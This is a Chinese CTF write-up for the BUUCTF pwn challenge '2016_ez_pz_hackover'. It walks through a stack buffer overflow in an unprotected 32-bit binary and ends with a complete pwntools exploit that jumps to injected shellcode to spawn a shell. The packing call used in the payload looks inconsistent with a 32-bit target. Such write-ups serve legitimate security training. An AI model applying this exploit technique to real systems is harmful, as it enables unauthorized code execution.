[PWN] shellcode 2016_ez_pz_hackover

2016_ez_pz_hackover

题目地址:BUUCTF

1.查看文件信息

checksec一下:32位文件,没有开启任何保护

运行:提示输入一串字符串

image-20221130202017440

2.IDA分析

main函数:

​ fgets函数读取0x3ff字符串到s变量,但是s变量距离ebp有0x40c(>0x3ff)的距离,此处无法溢出

​ 函数会判断输入的字符串是否等于"crashme",等于则会进入vuln函数

image-20221130204637073

vuln函数:

​ 从变量s复制0x400字节到dest变量,由于dest变量距离ebp只有0x32个字节

​ 此处存在栈溢出

​ 由于本题目没有开启任何保护,因此可以直接写入shellcode,将返回地址覆盖为shellcode的地址,执行shellcode

​ shellcode利用pwntools工具自动生成

shellcode = asm(shellcraft.sh())

image-20221130213413619

分析:

首先要确定在vuln函数中shellcode的地址或者相对偏移(即距离复制过去的变量s(src)的距离)

利用gdb动态调试,输入"crashme/x00"字符串成功通过判断,跳入vuln函数

在vuln函数的nop指令处下断点

image-20221130215920372

gdb动态调试的python代码为

from pwn import *
#p=remote()
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

gdb.attach(p,'b *0x8048600')
p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
payload=b'crashme\x00'+b'aaaa'
p.sendline(payload)
pause()

终端显示,

输出的s变量的地址为 0xffcdb45c

image-20221201202809407

在gdb中输入 c 运行到断点

image-20221201202911739

stack 30 查看当前栈的数据

image-20221201203140514

可以发现只能看到’ashme’,没有找到’cr’字符串,

观察偏移栈0x20处的数据,为0x7263ffcd,其中 72代表’r’ 63代表’c’,(由于数据对齐造成)

因此输入点"crashme"的起始地址为栈偏移0x22,地址为0xffcdb422

输入点距离ebp(栈偏移0x38,地址0xffcdb438)的距离为 0x38-0x22 = 0xffcdb438-0xffcdb422 = 0x16

ebp地址为栈偏移0x38,返回地址为栈偏移0x3c,

shellcode字符串的写入地址为栈偏移0x40处(图中红框)

因此我们只需要将函数返回地址覆盖为 shellcode地址(shellcode字符串的写入地址为栈偏移0x40),即可执行shellcode

那么 如何得到shellcode的地址呢?

​ 我们注意到之前输出了s的地址0xffcdb45c,该变量距离shellcode的距离为 0xffcdb45c - 0xffcdb440 = 0x1c

​ 可以用 s_add - 0x1c 表示shellcode地址

构造payload:

shellcode_add = s_add - 0x1c

payload = b’crashme\x00’ + b’a’*(0x16-8+4) + p64(shellcode_add)+ shellcode

其中 0x16-8 是因为 ‘crashme\x00’ 占据8个字节

3.完整exp

from pwn import *
#p=remote('node4.buuoj.cn',29709)
context.log_level='debug'
p=process('./ez_pz_hackover_2016')

# gdb.attach(p,'b *0x8048600')
# p.recvuntil('crash: ')
# s_add=int(p.recv(10),16)
# print (hex(s_add))
# payload=b'crashme\x00'+b'aaaa'
# p.sendline(payload)
# pause()

p.recvuntil('crash: ')
s_add=int(p.recv(10),16)
print (hex(s_add))
shellcode = asm(shellcraft.sh())
shellcode_add = s_add - 0x1c
payload = b'crashme\x00' +  b'a'*(0x16-8+4) + p64(shellcode_add)+ shellcode
p.sendline(payload)
p.interactive()

成功得到flag:

image-20221201210705201
  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值